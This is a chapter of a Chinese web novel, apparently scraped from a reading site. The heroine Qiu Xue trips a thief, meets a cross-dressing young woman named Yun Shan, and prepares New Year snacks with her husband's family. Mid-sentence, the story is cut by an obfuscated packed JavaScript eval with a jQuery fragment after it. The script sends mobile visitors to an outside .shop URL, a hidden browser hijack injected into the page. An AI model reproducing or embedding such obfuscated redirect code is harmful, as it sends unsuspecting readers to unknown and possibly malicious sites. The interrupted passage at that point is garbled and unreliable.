“秋老板,上街呢?”
秋雪几天刚从成衣铺子出来,没走多久便听到一个熟悉的招呼声。
秋雪循着声音望去,见是明远书画铺的刘明。她有些日子没来,之前书画铺下订单都是刘明直接去东市找陈小迁。
“刘掌柜,许久不见。”
两人寒暄了几句,说到前些日子下的订单需要年后再送了,与刘明告别后秋雪等几人又挤回热闹的街道上。
没走多久,由远至近传来一阵呼叫:“抓贼啊!”
很快,街上的人群乱了。阮默行忙抱起阮默正带着秋雪几人退到一旁,秋雪个子不算高,只过了会儿才看着有一人慌乱地跑出来,在快要靠近秋雪他们时。
秋雪出其不意地伸腿用力一踢,猛地将那人踢翻在地。
阮默红姐弟和王浅是见过秋雪揍人的,但阮默行还是头回看到。只见他这会眼睛瞪大的样子,那模样倒是像极了成年版的阮默正似的。
秋雪转头看了他一眼,差点笑出声。
不过还不待等她笑出来,后头的人追了上来。见这个精瘦的男人倒在地上,连忙上前又踹了几脚,“敢偷到你姑奶奶的头上,怕是活腻了吧!”
那男人本就被秋雪踢得蜷缩着身体叫唤,这下被踹得叫声更大了,忙不迭地开口求饶:“我错了!我错了!饶了我吧!……”
“哼,今儿不把你送官,我就不信云!”
秋雪见她明明是女子的样貌却一副男装打扮,便知道她这是遇上女扮男装的戏码了。
随后款步走来的另一个着男装的女子,“阿丫,把他绑起来!”说完这才看向一旁的秋雪等人。
“多谢这位小娘子。”虽未亲眼见着秋雪踢人的场面,但这会周遭都在议论呢,她又不是聋子。
“小……少爷!”云丫差点咬到自己的舌头,打断云姗的话,“少爷,我先将这小偷送去衙门?”
云姗翻了个白眼,“快去吧!”随后又换了副表情对秋雪说:“小娘子好武艺,不知师承何人?可否介绍与我?能不能请你喝杯茶?……”
秋雪:“……”她好久没碰到话如此密的人了,拒绝道:“不用了,我与家人赶着回家。”
云姗手上的扇子刷地一下展开,朝秋雪抛了个媚眼,“小娘子,别急,待晚了我叫阿丫送你们回去便是。”
秋雪一脸无语,看着云姗吊儿郎当的公子哥作派,难道她真觉着别人看不出来她是个女子吗?秋雪忍不住扶额道:“谢了,我们住在乡下不方便。”
“那小娘子留个地址,下回我好去寻你。”
阮默行再忍耐不住,向前一步,“娘子,我们该回家了。”
云姗一时间看看阮默行和他怀里的阮默正,又眨巴着眼看向秋雪。半晌见秋雪没回应,自顾自地报上家名:“我是云家云姗,下回你来县里直接去云家找我可好?”
“……”秋雪有些招架不住云姗的热情,只能应下。
回去的路上,阮默行有些沉默。
秋雪因他那句娘子一时无话,她始终对这段关系感到尴尬,却又因无法离开而不得不暂且留在阮家。
这个时代,秋雪作为女子,且在大家的眼里她已经作为阮默行的娘子存在,而非她秋雪个人。即便能离开,她又能去哪?
天下虽大,大到她离开新竹村竟找不到可以立足之地。何况去哪不是从头开始?又何必折腾一遭。
秋雪留在阮家,一开始是不得已,但如今,她却有些说不清了。
“大嫂,你怎么了?”阮默红察觉一路上大嫂不太对劲,大嫂虽平日里话也不多,不过此时却有些不同。
秋雪摇头。至少在阮家这段日子,她第一次感受到有家人的感觉,或许这也是她还留在阮家,未曾提过离开的原因吧。
秋雪不确定,她还是头回这般犹豫。她在心里笑了下,笑自己竟然不那么果断了。想必要是让前世的朋友知道了,怕是只会引来嘲笑。
到家已经是一个时辰后的事了。
再过两天就是年三十。
即便陈婶每天都有收拾屋子,但因过年,秋雪依然领着阮默红和王浅花了一整天的时间将阮宅上上下下打扫了个遍。
阮默行就做些需要力气的粗重活,和写好门联,再贴上。
“大哥,你再往左一点,对!”阮默正年纪虽小,不过做事倒是挺积极的。
待阮默行将左边的对联贴上,爬下木梯,站得远一点瞧了瞧,眼里闪过一丝满意。
“还不错嘛!”
阮默红趁着出来倒垃圾的间隙,也看了眼,眯着眼夸了句,说完也不管门外的两人自顾自得又进了院子。
还有好多事要忙呢。
阮默红从来没有感受过原来过年是这样既开心又忙碌的,往前家里总是沉闷的,特别是她娘在的时候,不允许家里有人大声说话,连过个年都是静悄悄的。
想到她娘,阮默红的脚步一顿,她已经有些日子没想起她娘了。
阮默红不敢细想,怕自己又气又想念。
秋雪不知阮默红心里的想法,即便是瞧出了什么,也不会去说什么,这会儿见她停在院里,不由得问:“阿红,你房间的木窗擦完了吗?”
阮默红闻言,猛地回神,抬头看向秋雪,笑说:“大嫂,擦完了哩。”心情似又好起来了。
阮默红总是觉得自从有了大嫂后,她心里踏实了不少。
不过,想到他大哥还与大嫂分房睡就暗暗叹气。阮家众人都知道,但都不敢提出来。
眼下阮家众人似并未察觉到,不知不觉间,秋雪就像成了他们的主心骨般。
阮默红忍不住回头望了眼他大哥,又叹了口气。
“擦完了,来厨房帮我揉面。”
“好哩。”
收拾妥当后,秋雪想趁着天色,再炸点油果子。她前世小的时候吃过不少种,眼下村里人家过年大多是瓜子花生,能有这些的还都是日子过得不错的。
工坊虽才开不少,虽还未全部回本,好歹有了流动的银钱。再加上阮默行在县衙一日推一日的忙活,便一直忙到了快年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582566|203602||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底。县令许是看他做的不错,走得时候还给了银钱。
阮默行将这钱转头给了秋雪,秋雪本没想收,但阮默行说过年要花的地方也不少,再说秋雪如今是他娘子了,总该她管钱的。
秋雪想到那天阮默行说这话的表情,就莫名想磨牙。
昨日秋雪这些拿着钱在县里时,除了给大家买过年的新衣,还买了蜜饯和糖,今儿又炸些零嘴,预备过年用来招待客人。
阮家厨房倒是不小,王浅在一旁做晚饭,秋雪就在另一边做零嘴。厨房虽是互不打扰,不过香味却是一阵一阵的随着清风飘出去,散在院子里。
阮默正从院外一脚踏进来,便瞧着厨房的香味像是云层一样从窗户钻出来,他下意识呼吸,就闻到层层叠叠的香味,给他香迷糊了。
脚步不由自主地往厨房走去。
阮默正走到厨房门口,先是探了个脑袋进去,眯着眼睛又吸了下香气,真是太香辣。他抬脚走进去,才走到秋雪身边,便抱住秋雪的腿,仰着头道:“大嫂,我好饿啊,想吃这个行不行?”
秋雪感觉腿上多了一团肉似的,低头一看,手上的动作停下,笑道:“洗手了没?”
“啊,还没洗。”
“那你洗了手再来吃。”
“好耶。”
还不待阮默正洗完手回来,秋雪感觉身旁又来了个人,似乎是存在感太强的原因,她不由看去,是身形高大的阮默行。
“我也想吃。”
秋雪瞥了他一眼,“你吃就是。”她还能拦着不成。
“……”怎么跟阿正说话的语气与他差异这般大。
阮默行垂眼,抿唇不说话,过了半晌才拿了块果子吃起来。
“大哥!你怎么就吃上了!”
阮默正洗完手跑过来见大哥就吃上了,不由着急,眼巴巴地看向秋雪,“大嫂,大哥他洗手了吗?”
阮默红小小地翻个白眼,朝阮默正说:“阿弟,饿了你就自个拿着吃吧。”没见大哥好不容易和大嫂说上几句话吗。
阮默红心里叹气,怎么一个个的这么不省心。
她瞅了眼阮默行,明明大哥长得挺好看的,眼是眼的,鼻子是鼻子,如何还成了举人哩,怎么瞧着大嫂好像对大哥并无甚情意的感觉?
秋雪伸手从木盆里抓了一手,递给阮默正,“吃吧,只能吃这些,一会该吃晚饭了。”
阮默正眼睛一亮,点头:“嗯!大嫂我听你的。”说完便低头吃了起来,一口咬下去酥脆的声音响在不算安静的厨房里,却依旧清晰可闻。
阮默行见他吃得香,又拿了块吃起来。吃起来的确口齿留香,又脆又有些甜的味道,他即便不爱吃零嘴,也忍不住多吃了几个。
秋雪耳旁不住响起脆脆地咀嚼声,让她不由有些出神。
前世她也是这般守在外婆身边,一边看外婆先做好花样,再油炸出锅,她就一边吃前一锅稍微凉了些的。
但即使秋雪会做外婆做的小吃,也做不出外婆的味道了。
更吃不到了。